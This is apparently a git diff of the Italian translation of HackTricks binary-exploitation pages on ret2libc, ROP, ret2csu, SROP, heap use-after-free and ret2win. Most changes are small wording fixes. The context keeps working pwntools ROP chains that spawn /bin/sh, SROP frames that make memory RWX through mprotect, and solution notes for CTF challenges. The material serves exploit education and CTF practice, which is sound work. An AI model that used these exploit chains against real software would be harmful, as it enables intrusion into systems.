- Per questo, viene creato un nuovo chunk di dimensione `0xfc` e la funzione di merge viene chiamata con quel puntatore due volte, in questo modo otteniamo un puntatore a un chunk liberato di dimensione `0xfc*2 = 0x1f8` nel fast bin.
|
||||
- Poi, la funzione di modifica viene chiamata in questo chunk per modificare l'indirizzo **`fd`** di questo fast bin per puntare alla precedente funzione **`__free_hook`**.
|
||||
- Poi, viene creato un chunk di dimensione `0x1f8` per recuperare dal fast bin il precedente chunk inutile, quindi viene creato un altro chunk di dimensione `0x1f8` per ottenere un chunk fast bin nella **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**.
|
||||
- E infine, un chunk contenente la stringa `/bin/sh\x00` viene liberato chiamando la funzione di eliminazione, attivando la funzione **`__free_hook`** che punta a system con `/bin/sh\x00` come parametro.
|
||||
- Poi, la funzione di edit viene chiamata in questo chunk per modificare l'indirizzo **`fd`** di questo fast bin per puntare alla precedente funzione **`__free_hook`**.
|
||||
- Poi, viene creato un chunk di dimensione `0x1f8` per recuperare dal fast bin il precedente chunk inutile, quindi viene creato un altro chunk di dimensione `0x1f8` per ottenere un fast bin chunk nella **`__free_hook`** che viene sovrascritto con l'indirizzo della funzione **`system`**.
|
||||
- E infine, un chunk contenente la stringa `/bin/sh\x00` viene liberato chiamando la funzione di delete, attivando la funzione **`__free_hook`** che punta a system con `/bin/sh\x00` come parametro.
|
||||
- **CTF** [**https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
|
||||
- Un altro esempio di abuso di un overflow di 1B per consolidare chunk nell'unsorted bin e ottenere una libc infoleak e poi eseguire un attacco fast bin per sovrascrivere malloc hook con un indirizzo one gadget.
|
||||
- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Come suggerisce il nome, questa vulnerabilità si verifica quando un programma **memorizza dello spazio** nell'heap per un oggetto, **scrive** alcune informazioni lì, **libera** apparentemente perché non è più necessario e poi **accede di nuovo**.
|
||||
|
||||
Il problema qui è che non è illegale (non **ci saranno errori**) quando si **accede a una memoria liberata**. Quindi, se il programma (o l'attaccante) riesce a **allocare la memoria liberata e memorizzare dati arbitrari**, quando la memoria liberata viene accessibile dal puntatore iniziale, **quella data sarebbe stata sovrascritta**, causando una **vulnerabilità che dipenderà dalla sensibilità dei dati** che erano stati memorizzati originariamente (se era un puntatore a una funzione che doveva essere chiamata, un attaccante potrebbe controllarla).
|
||||
Il problema qui è che non è illegale (non **ci saranno errori**) quando si **accede a una memoria liberata**. Quindi, se il programma (o l'attaccante) riesce a **allocare la memoria liberata e memorizzare dati arbitrari**, quando la memoria liberata viene accessibile dal puntatore iniziale, **quelli dati sarebbero stati sovrascritti**, causando una **vulnerabilità che dipenderà dalla sensibilità dei dati** che erano stati memorizzati originariamente (se era un puntatore a una funzione che doveva essere chiamata, un attaccante potrebbe controllarla).
|
||||
|
||||
### First Fit attack
|
||||
|
||||
|
||||
@ -131,7 +131,7 @@ In questo esempio:
|
||||
|
||||
- Utilizziamo il gadget **`pop rdi; ret`** per impostare **`RDI`** all'indirizzo di **`"/bin/sh"`**.
|
||||
- Saltiamo direttamente a **`system()`** dopo aver impostato **`RDI`**, con l'indirizzo di **system()** nella catena.
|
||||
- **`ret_gadget`** è utilizzato per l'allineamento se l'ambiente target lo richiede, il che è più comune in **x64** per garantire un corretto allineamento dello stack prima di chiamare le funzioni.
|
||||
- **`ret_gadget`** è utilizzato per l'allineamento se l'ambiente di destinazione lo richiede, il che è più comune in **x64** per garantire un corretto allineamento dello stack prima di chiamare le funzioni.
|
||||
|
||||
### Allineamento dello Stack
|
||||
|
||||
@ -140,7 +140,7 @@ In questo esempio:
|
||||
## Differenza principale tra x86 e x64
|
||||
|
||||
> [!TIP]
|
||||
> Poiché **x64 utilizza registri per i primi pochi argomenti,** richiede spesso meno gadget rispetto a x86 per chiamate di funzione semplici, ma trovare e concatenare i gadget giusti può essere più complesso a causa del numero maggiore di registri e dello spazio indirizzabile più ampio. L'aumento del numero di registri e dello spazio indirizzabile più ampio nell'architettura **x64** offre sia opportunità che sfide per lo sviluppo di exploit, specialmente nel contesto della Programmazione Orientata al Ritorno (ROP).
|
||||
> Poiché **x64 utilizza registri per i primi pochi argomenti,** richiede spesso meno gadget rispetto a x86 per chiamate di funzione semplici, ma trovare e concatenare i gadget giusti può essere più complesso a causa del numero maggiore di registri e dello spazio di indirizzamento più ampio. L'aumento del numero di registri e dello spazio di indirizzamento più ampio nell'architettura **x64** offre sia opportunità che sfide per lo sviluppo di exploit, specialmente nel contesto della Programmazione Orientata al Ritorno (ROP).
|
||||
|
||||
## Esempio di catena ROP in ARM64
|
||||
|
||||
@ -162,7 +162,7 @@ Controlla la seguente pagina per queste informazioni:
|
||||
|
||||
Nota che ROP è solo una tecnica per eseguire codice arbitrario. Basato su ROP, sono state sviluppate molte tecniche Ret2XXX:
|
||||
|
||||
- **Ret2lib**: Usa ROP per chiamare funzioni arbitrarie da una libreria caricata con parametri arbitrari (di solito qualcosa come `system('/bin/sh')`.
|
||||
- **Ret2lib**: Usa ROP per chiamare funzioni arbitrarie da una libreria caricata con parametri arbitrari (di solito qualcosa come `system('/bin/sh')`).
|
||||
|
||||
{{#ref}}
|
||||
ret2lib/
|
||||
|
||||
@ -65,7 +65,7 @@ gef➤ search-pattern 0x400560
|
||||
|
||||
## RDI e RSI
|
||||
|
||||
Un altro modo per controllare **`rdi`** e **`rsi`** dal gadget ret2csu è accedervi tramite offset specifici:
|
||||
Un altro modo per controllare **`rdi`** e **`rsi`** dal gadget ret2csu è accedendo a specifici offset:
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
|
||||
|
||||
|
||||
@ -188,6 +188,6 @@ target.interactive()
|
||||
- [https://youtu.be/ADULSwnQs-s](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve)
|
||||
- [https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html](https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html)
|
||||
- 32bit, no relro, no canary, nx, no pie, overflow di buffer piccolo di base e ritorno. Per sfruttarlo, il bof viene utilizzato per chiamare `read` di nuovo con una sezione `.bss` e una dimensione maggiore, per memorizzare lì le tabelle fake di `dlresolve` per caricare `system`, tornare a main e riutilizzare il bof iniziale per chiamare dlresolve e poi `system('/bin/sh')`.
|
||||
- 32bit, no relro, no canary, nx, no pie, overflow di buffer piccolo di base e ritorno. Per sfruttarlo, il bof viene utilizzato per chiamare `read` di nuovo con una sezione `.bss` e una dimensione maggiore, per memorizzare lì le tabelle fittizie `dlresolve` per caricare `system`, tornare a main e riutilizzare il bof iniziale per chiamare dlresolve e poi `system('/bin/sh')`.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,11 +2,11 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Informazioni di base**
|
||||
## **Informazioni di Base**
|
||||
|
||||
L'essenza di **Ret2Libc** è reindirizzare il flusso di esecuzione di un programma vulnerabile a una funzione all'interno di una libreria condivisa (ad es., **system**, **execve**, **strcpy**) invece di eseguire shellcode fornito dall'attaccante nello stack. L'attaccante crea un payload che modifica l'indirizzo di ritorno nello stack per puntare alla funzione della libreria desiderata, mentre organizza anche eventuali argomenti necessari per essere impostati correttamente secondo la convenzione di chiamata.
|
||||
|
||||
### **Esempio di passaggi (semplificato)**
|
||||
### **Esempio di Passaggi (semplificato)**
|
||||
|
||||
- Ottenere l'indirizzo della funzione da chiamare (ad es. system) e il comando da chiamare (ad es. /bin/sh)
|
||||
- Generare una catena ROP per passare il primo argomento che punta alla stringa del comando e il flusso di esecuzione alla funzione
|
||||
@ -51,12 +51,14 @@ In questo caso è caricata in **0xb75dc000** (Questo sarà l'indirizzo base dell
|
||||
|
||||
Potrebbe essere possibile che **non conosci la libc che il binario sta caricando** (perché potrebbe trovarsi su un server a cui non hai accesso). In quel caso potresti abusare della vulnerabilità per **leakare alcuni indirizzi e scoprire quale libreria libc** viene utilizzata:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
rop-leaking-libc-address/
|
||||
{{#endref}}
|
||||
|
||||
E puoi trovare un template di pwntools per questo in:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
rop-leaking-libc-address/rop-leaking-libc-template.md
|
||||
{{#endref}}
|
||||
@ -101,7 +103,7 @@ payload = 'A'*0x20010 + p
|
||||
c.send(payload)
|
||||
c.interactive()
|
||||
```
|
||||
## x64 Ret2lib Esempio di Codice
|
||||
## x64 Ret2lib Code Example
|
||||
|
||||
Controlla l'esempio da:
|
||||
|
||||
@ -110,7 +112,7 @@ Controlla l'esempio da:
|
||||
../
|
||||
{{#endref}}
|
||||
|
||||
## ARM64 Ret2lib Esempio
|
||||
## ARM64 Ret2lib Example
|
||||
|
||||
Nel caso di ARM64, l'istruzione ret salta dove il registro x30 sta puntando e non dove il registro dello stack sta puntando. Quindi è un po' più complicato.
|
||||
|
||||
@ -125,23 +127,23 @@ ret2lib-+-printf-leak-arm64.md
|
||||
|
||||
## Ret-into-printf (o puts)
|
||||
|
||||
Questo consente di **leak informazioni dal processo** chiamando `printf`/`puts` con alcuni dati specifici posti come argomento. Ad esempio, mettere l'indirizzo di `puts` nel GOT in un'esecuzione di `puts` **leakerà l'indirizzo di `puts` in memoria**.
|
||||
Questo consente di **leakare informazioni dal processo** chiamando `printf`/`puts` con alcuni dati specifici posti come argomento. Ad esempio, mettere l'indirizzo di `puts` nel GOT in un'esecuzione di `puts` **leakerà l'indirizzo di `puts` in memoria**.
|
||||
|
||||
## Ret2printf
|
||||
|
||||
Questo significa fondamentalmente abusare di un **Ret2lib per trasformarlo in una vulnerabilità di formato stringhe `printf`** utilizzando il `ret2lib` per chiamare printf con i valori per sfruttarlo (sembra inutile ma è possibile):
|
||||
Questo significa fondamentalmente abusare di un **Ret2lib per trasformarlo in una vulnerabilità di stringhe di formato `printf`** utilizzando il `ret2lib` per chiamare printf con i valori per sfruttarlo (sembra inutile ma è possibile):
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../format-strings/
|
||||
{{#endref}}
|
||||
|
||||
## Altri Esempi & riferimenti
|
||||
## Other Examples & references
|
||||
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
|
||||
- Ret2lib, dato un leak all'indirizzo di una funzione in libc, utilizzando un gadget
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html)
|
||||
- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e leakarlo. Con il canary viene creato un gadget ROP per chiamare puts per leakare l'indirizzo di puts dal GOT e un gadget ROP per chiamare `system('/bin/sh')`
|
||||
- 64 bit, ASLR abilitato ma senza PIE, il primo passo è riempire un overflow fino al byte 0x00 del canary per poi chiamare puts e leakarlo. Con il canary viene creato un gadget ROP per chiamare puts per leakare l'indirizzo di puts dal GOT e poi un gadget ROP per chiamare `system('/bin/sh')`
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
|
||||
- 64 bit, ASLR abilitato, senza canary, overflow dello stack in main da una funzione figlia. Gadget ROP per chiamare puts per leakare l'indirizzo di puts dal GOT e poi chiamare un gadget.
|
||||
- [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
|
||||
|
||||
@ -91,7 +91,7 @@ In questo passaggio non è necessario eseguire nulla poiché tutto sarà trovato
|
||||
|
||||
## 3- Trovare la libreria libc
|
||||
|
||||
Ora è il momento di scoprire quale versione della libreria **libc** viene utilizzata. Per farlo, andremo a **leak** l'**indirizzo** in memoria della **funzione** `puts` e poi andremo a **cercare** in quale **versione della libreria** si trova la versione di puts in quell'indirizzo.
|
||||
Ora è il momento di scoprire quale versione della libreria **libc** viene utilizzata. A tal fine, andremo a **leak** l'**indirizzo** in memoria della **funzione** `puts` e poi andremo a **cercare** in quale **versione della libreria** si trova la versione di puts in quell'indirizzo.
|
||||
```python
|
||||
def get_addr(func_name):
|
||||
FUNC_GOT = elf.got[func_name]
|
||||
@ -125,15 +125,15 @@ Per fare ciò, la linea più importante del codice eseguito è:
|
||||
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
|
||||
```
|
||||
Questo invierà alcuni byte fino a quando **sovrascrivere** il **RIP** sarà possibile: `OFFSET`.\
|
||||
Poi, imposterà l'**indirizzo** del gadget `POP_RDI` in modo che il prossimo indirizzo (`FUNC_GOT`) sarà salvato nel registro **RDI**. Questo perché vogliamo **chiamare puts** **passandogli** l'**indirizzo** di `PUTS_GOT` poiché l'indirizzo in memoria della funzione puts è salvato nell'indirizzo puntato da `PUTS_GOT`.\
|
||||
Dopo di che, verrà chiamato `PUTS_PLT` (con `PUTS_GOT` all'interno del **RDI**) in modo che puts **legga il contenuto** all'interno di `PUTS_GOT` (**l'indirizzo della funzione puts in memoria**) e **lo stampi**.\
|
||||
Poi, imposterà l'**indirizzo** del gadget `POP_RDI` in modo che il prossimo indirizzo (`FUNC_GOT`) venga salvato nel registro **RDI**. Questo perché vogliamo **chiamare puts** **passandogli** l'**indirizzo** di `PUTS_GOT` poiché l'indirizzo in memoria della funzione puts è salvato nell'indirizzo puntato da `PUTS_GOT`.\
|
||||
Dopo di che, verrà chiamato `PUTS_PLT` (con `PUTS_GOT` all'interno del **RDI**) in modo che puts **legga il contenuto** all'interno di `PUTS_GOT` (**l'indirizzo della funzione puts in memoria**) e lo **stampi**.\
|
||||
Infine, **la funzione main viene chiamata di nuovo** così possiamo sfruttare di nuovo il buffer overflow.
|
||||
|
||||
In questo modo abbiamo **ingannato la funzione puts** per **stampare** l'**indirizzo** in **memoria** della funzione **puts** (che si trova all'interno della libreria **libc**). Ora che abbiamo quell'indirizzo possiamo **cercare quale versione di libc viene utilizzata**.
|
||||
|
||||
.png>)
|
||||
|
||||
Poiché stiamo **sfruttando** un **binario** locale, **non è necessario** capire quale versione di **libc** viene utilizzata (basta trovare la libreria in `/lib/x86_64-linux-gnu/libc.so.6`).\
|
||||
Poiché stiamo **sfruttando** un **binario** **locale**, non è **necessario** capire quale versione di **libc** viene utilizzata (basta trovare la libreria in `/lib/x86_64-linux-gnu/libc.so.6`).\
|
||||
Ma, in un caso di exploit remoto, spiegherò qui come puoi trovarlo:
|
||||
|
||||
### 3.1- Ricerca della versione di libc (1)
|
||||
@ -155,7 +155,7 @@ Questo richiederà del tempo, sii paziente.\
|
||||
Per farlo funzionare abbiamo bisogno di:
|
||||
|
||||
- Nome del simbolo libc: `puts`
|
||||
- Indirizzo libc leakato: `0x7ff629878690`
|
||||
- Indirizzo libc **leakato**: `0x7ff629878690`
|
||||
|
||||
Possiamo capire quale **libc** è molto probabilmente utilizzata.
|
||||
```bash
|
||||
@ -208,7 +208,7 @@ EXIT = libc.sym["exit"]
|
||||
log.info("bin/sh %s " % hex(BINSH))
|
||||
log.info("system %s " % hex(SYSTEM))
|
||||
```
|
||||
Infine, l'exploit di esecuzione /bin/sh verrà preparato e inviato:
|
||||
Infine, l'exploit per l'esecuzione di /bin/sh verrà preparato e inviato:
|
||||
```python
|
||||
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
|
||||
|
||||
@ -220,7 +220,7 @@ p.interactive() #Interact with the conenction
|
||||
```
|
||||
Spieghiamo questo ROP finale.\
|
||||
L'ultimo ROP (`rop1`) ha chiamato di nuovo la funzione main, quindi possiamo **sfruttare di nuovo** il **overflow** (ecco perché l'`OFFSET` è qui di nuovo). Poi, vogliamo chiamare `POP_RDI` puntando all'**indirizzo** di _"/bin/sh"_ (`BINSH`) e chiamare la funzione **system** (`SYSTEM`) perché l'indirizzo di _"/bin/sh"_ sarà passato come parametro.\
|
||||
Infine, l'**indirizzo della funzione exit** è **chiamato** in modo che il processo **esca in modo ordinato** e non venga generato alcun avviso.
|
||||
Infine, l'**indirizzo della funzione exit** è **chiamato** in modo che il processo **termini correttamente** e non venga generato alcun avviso.
|
||||
|
||||
**In questo modo l'exploit eseguirà una shell _/bin/sh_.**
|
||||
|
||||
|
||||
@ -45,7 +45,7 @@ Start End Offset Perm Path
|
||||
```
|
||||
### Scrivere stringa in memoria
|
||||
|
||||
Poi devi trovare un modo per scrivere contenuto arbitrario in questo indirizzo.
|
||||
Poi devi trovare un modo per scrivere contenuto arbitrario in questo indirizzo
|
||||
```python
|
||||
ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
|
||||
mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
|
||||
|
||||
@ -68,7 +68,7 @@ svc #0
|
||||
Con i gadget precedenti possiamo controllare tutti i registri necessari dallo stack e usare x5 per saltare al secondo gadget per chiamare la syscall.
|
||||
|
||||
> [!TIP]
|
||||
> Nota che conoscere queste informazioni dalla libreria libc consente anche di eseguire un attacco ret2libc, ma usiamolo per questo esempio attuale.
|
||||
> Nota che conoscere queste informazioni dalla libreria libc consente anche di effettuare un attacco ret2libc, ma usiamolo per questo esempio attuale.
|
||||
|
||||
### Exploit
|
||||
```python
|
||||
|
||||
@ -6,14 +6,14 @@
|
||||
|
||||
**`Sigreturn`** è una **syscall** speciale utilizzata principalmente per ripulire dopo che un gestore di segnali ha completato la sua esecuzione. I segnali sono interruzioni inviate a un programma dal sistema operativo, spesso per indicare che si è verificata una situazione eccezionale. Quando un programma riceve un segnale, interrompe temporaneamente il suo lavoro attuale per gestire il segnale con un **gestore di segnali**, una funzione speciale progettata per occuparsi dei segnali.
|
||||
|
||||
Dopo che il gestore di segnali ha terminato, il programma deve **riprendere il suo stato precedente** come se nulla fosse accaduto. Qui entra in gioco **`sigreturn`**. Aiuta il programma a **ritornare dal gestore di segnali** e ripristina lo stato del programma ripulendo il frame dello stack (la sezione di memoria che memorizza le chiamate di funzione e le variabili locali) utilizzato dal gestore di segnali.
|
||||
Dopo che il gestore di segnali ha terminato, il programma deve **riprendere il suo stato precedente** come se nulla fosse accaduto. Qui entra in gioco **`sigreturn`**. Aiuta il programma a **tornare dal gestore di segnali** e ripristina lo stato del programma ripulendo il frame dello stack (la sezione di memoria che memorizza le chiamate di funzione e le variabili locali) utilizzato dal gestore di segnali.
|
||||
|
||||
La parte interessante è come **`sigreturn`** ripristina lo stato del programma: lo fa memorizzando **tutti i valori dei registri della CPU nello stack.** Quando il segnale non è più bloccato, **`sigreturn` estrae questi valori dallo stack**, ripristinando effettivamente i registri della CPU al loro stato precedente alla gestione del segnale. Questo include il registro del puntatore dello stack (RSP), che punta all'attuale cima dello stack.
|
||||
|
||||
> [!CAUTION]
|
||||
> Chiamando la syscall **`sigreturn`** da una catena ROP e **aggiungendo i valori dei registri** che vorremmo caricare nello **stack**, è possibile **controllare** tutti i valori dei registri e quindi **chiamare** ad esempio la syscall `execve` con `/bin/sh`.
|
||||
|
||||
Nota come questo sarebbe un **tipo di Ret2syscall** che rende molto più facile controllare i parametri per chiamare altre Ret2syscalls:
|
||||
Nota come questo sarebbe un **tipo di Ret2syscall** che rende molto più facile controllare i parametri per chiamare altre Ret2syscall:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -124,7 +124,7 @@ target.sendline(payload) # Send the target payload
|
||||
# Drop to an interactive shell
|
||||
target.interactive()
|
||||
```
|
||||
## Altri Esempi & Riferimenti
|
||||
## Altri Esempi e Riferimenti
|
||||
|
||||
- [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
@ -135,7 +135,7 @@ target.interactive()
|
||||
- [https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17_stupidrop/index.html)
|
||||
- 64 bit, no relro, no canary, nx, no pie. Semplice buffer overflow che sfrutta la funzione `gets` con mancanza di gadget che esegue un [**ret2syscall**](../rop-syscall-execv/index.html). La catena ROP scrive `/bin/sh` nella `.bss` richiamando di nuovo gets, sfrutta la funzione **`alarm`** per impostare eax a `0xf` per chiamare un **SROP** ed eseguire una shell.
|
||||
- [https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19_syscaller/index.html)
|
||||
- Programma assembly a 64 bit, no relro, no canary, nx, no pie. Il flusso consente di scrivere nello stack, controllare diversi registri e chiamare una syscall e poi chiama `exit`. La syscall selezionata è una `sigreturn` che imposterà i registri e sposterà `eip` per chiamare un'istruzione syscall precedente ed eseguire `memprotect` per impostare lo spazio binary a `rwx` e impostare l'ESP nello spazio binary. Seguendo il flusso, il programma chiamerà di nuovo read in ESP, ma in questo caso ESP punterà alla prossima istruzione quindi passando un shellcode lo scriverà come la prossima istruzione ed eseguirà.
|
||||
- Programma assembly a 64 bit, no relro, no canary, nx, no pie. Il flusso consente di scrivere nello stack, controllare diversi registri e chiamare una syscall e poi chiama `exit`. La syscall selezionata è un `sigreturn` che imposterà i registri e sposterà `eip` per chiamare un'istruzione syscall precedente ed eseguire `memprotect` per impostare lo spazio binary a `rwx` e impostare l'ESP nello spazio binary. Seguendo il flusso, il programma chiamerà di nuovo read in ESP, ma in questo caso ESP punterà alla prossima istruzione quindi passando un shellcode lo scriverà come la prossima istruzione ed eseguirà.
|
||||
- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/sigreturn-oriented-programming-srop#disable-stack-protection)
|
||||
- SROP è utilizzato per dare privilegi di esecuzione (memprotect) al luogo dove è stato posizionato un shellcode.
|
||||
|
||||
|
||||
@ -103,7 +103,7 @@ payload += bytes(frame)
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
## bof esempio senza sigreturn
|
||||
## esempio di bof senza sigreturn
|
||||
|
||||
### Codice
|
||||
```c
|
||||
@ -191,7 +191,7 @@ rp++ -f ./binary --unique -r | grep "mov\s\+x8, #0x8b" # 0x8b = __NR_rt_sigret
|
||||
```
|
||||
Entrambi gli strumenti comprendono le codifiche **AArch64** e elencheranno le sequenze candidate `mov x8, 0x8b ; svc #0` che possono essere utilizzate come *gadget SROP*.
|
||||
|
||||
> Nota: Quando i binari sono compilati con **BTI**, la prima istruzione di ogni valido obiettivo di branch indiretto è `bti c`. I trampolini `sigreturn` posizionati dal linker includono già il corretto BTI landing pad, quindi il gadget rimane utilizzabile da codice non privilegiato.
|
||||
> Nota: Quando i binari sono compilati con **BTI**, la prima istruzione di ogni obiettivo di branch indiretto valido è `bti c`. I trampolini `sigreturn` posizionati dal linker includono già il corretto BTI landing pad, quindi il gadget rimane utilizzabile da codice non privilegiato.
|
||||
|
||||
## Collegare SROP con ROP (pivot tramite `mprotect`)
|
||||
|
||||
@ -205,7 +205,7 @@ frame.x2 = 7 # PROT_READ|PROT_WRITE|PROT_EXEC
|
||||
frame.sp = 0x400000 + 0x100 # new pivot
|
||||
frame.pc = svc_call # will re-enter kernel
|
||||
```
|
||||
Dopo aver inviato il frame, puoi inviare una seconda fase contenente codice shell raw a `0x400000+0x100`. Poiché **AArch64** utilizza l'indirizzamento *PC-relative*, questo è spesso più conveniente rispetto alla costruzione di grandi catene ROP.
|
||||
Dopo aver inviato il frame, puoi inviare un secondo stadio contenente codice shell raw a `0x400000+0x100`. Poiché **AArch64** utilizza l'indirizzamento *PC-relative*, questo è spesso più conveniente rispetto alla costruzione di grandi catene ROP.
|
||||
|
||||
## Validazione del kernel, PAC e Shadow-Stacks
|
||||
|
||||
@ -215,9 +215,9 @@ Linux 5.16 ha introdotto una validazione più rigorosa dei frame dei segnali nel
|
||||
* La parola riservata in `struct rt_sigframe` deve essere zero.
|
||||
* Ogni puntatore nel record *extra_context* è allineato e punta all'interno dello spazio degli indirizzi utente.
|
||||
|
||||
`pwntools>=4.10` crea automaticamente frame conformi, ma se li costruisci manualmente assicurati di inizializzare a zero *riservato* e omettere il record SVE a meno che tu non ne abbia davvero bisogno—altrimenti `rt_sigreturn` restituirà `SIGSEGV` invece di tornare.
|
||||
`pwntools>=4.10` crea automaticamente frame conformi, ma se li costruisci manualmente assicurati di inizializzare a zero *riservato* e di omettere il record SVE a meno che tu non ne abbia davvero bisogno—altrimenti `rt_sigreturn` restituirà `SIGSEGV` invece di tornare.
|
||||
|
||||
A partire da Android 14 e Fedora 38, il userland è compilato con **PAC** (*Pointer Authentication*) e **BTI** abilitati per impostazione predefinita (`-mbranch-protection=standard`). *SROP* stesso non è influenzato perché il kernel sovrascrive `PC` direttamente dal frame creato, bypassando l'autenticato LR salvato nello stack; tuttavia, qualsiasi **catena ROP successiva** che esegue salti indiretti deve saltare a istruzioni abilitate BTI o indirizzi PACed. Tieni presente questo quando scegli i gadget.
|
||||
A partire da Android 14 e Fedora 38, il userland è compilato con **PAC** (*Pointer Authentication*) e **BTI** abilitati per impostazione predefinita (`-mbranch-protection=standard`). *SROP* stesso non è influenzato perché il kernel sovrascrive `PC` direttamente dal frame creato, bypassando l'LR autenticato salvato nello stack; tuttavia, qualsiasi **catena ROP successiva** che esegue salti indiretti deve saltare a istruzioni abilitate BTI o indirizzi PACed. Tieni presente questo quando scegli i gadget.
|
||||
|
||||
Gli Shadow-Call-Stacks introdotti in ARMv8.9 (e già abilitati su ChromeOS 1.27+) sono una mitigazione a livello di compilatore e *non* interferiscono con SROP perché non vengono eseguite istruzioni di ritorno—il flusso di controllo è trasferito dal kernel.
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Cos'è uno Stack Overflow
|
||||
## Che cos'è uno Stack Overflow
|
||||
|
||||
Un **stack overflow** è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano stati allocati per contenerli. Questi dati in eccesso **sovrascriveranno lo spazio di memoria adiacente**, portando alla corruzione di dati validi, alla disruption del flusso di controllo e potenzialmente all'esecuzione di codice malevolo. Questo problema si verifica spesso a causa dell'uso di funzioni non sicure che non eseguono il controllo dei limiti sugli input.
|
||||
|
||||
@ -170,7 +170,7 @@ exploit(*sys.argv[1:])
|
||||
Una richiesta di ~3 MB è sufficiente per sovrascrivere l'indirizzo di ritorno salvato e **crash** il demone su una build predefinita.
|
||||
|
||||
#### Patch & Mitigazione
|
||||
Il rilascio 25.07 sostituisce l'allocazione dello stack non sicura con un **`std::vector` supportato da heap** e gestisce in modo elegante `std::bad_alloc`:
|
||||
La release 25.07 sostituisce l'allocazione dello stack non sicura con un **`std::vector` supportato da heap** e gestisce in modo elegante `std::bad_alloc`:
|
||||
```c++
|
||||
std::vector<evbuffer_iovec> v_vec;
|
||||
try {
|
||||
|
||||
@ -6,9 +6,9 @@
|
||||
|
||||
Le sfide **Ret2win** sono una categoria popolare nelle competizioni di **Capture The Flag (CTF)**, in particolare in compiti che coinvolgono **binary exploitation**. L'obiettivo è sfruttare una vulnerabilità in un dato binario per eseguire una funzione specifica, non invocata, all'interno del binario, spesso chiamata qualcosa come `win`, `flag`, ecc. Questa funzione, quando eseguita, di solito stampa un flag o un messaggio di successo. La sfida comporta tipicamente la sovrascrittura dell'**indirizzo di ritorno** nello stack per deviare il flusso di esecuzione verso la funzione desiderata. Ecco una spiegazione più dettagliata con esempi:
|
||||
|
||||
### Esempio C
|
||||
### Esempio in C
|
||||
|
||||
Considera un semplice programma C con una vulnerabilità e una funzione `win` che intendiamo chiamare:
|
||||
Considera un semplice programma in C con una vulnerabilità e una funzione `win` che intendiamo chiamare:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
@ -27,14 +27,14 @@ vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Per compilare questo programma senza protezioni dello stack e con **ASLR** disabilitato, puoi utilizzare il seguente comando:
|
||||
Per compilare questo programma senza protezioni dello stack e con **ASLR** disabilitato, puoi usare il seguente comando:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
- `-m32`: Compila il programma come un binario a 32 bit (questo è facoltativo ma comune nelle sfide CTF).
|
||||
- `-fno-stack-protector`: Disabilita le protezioni contro gli overflow dello stack.
|
||||
- `-z execstack`: Consenti l'esecuzione di codice nello stack.
|
||||
- `-no-pie`: Disabilita l'Eseguibile Indipendente dalla Posizione per garantire che l'indirizzo della funzione `win` non cambi.
|
||||
- `-no-pie`: Disabilita l'eseguibile indipendente dalla posizione per garantire che l'indirizzo della funzione `win` non cambi.
|
||||
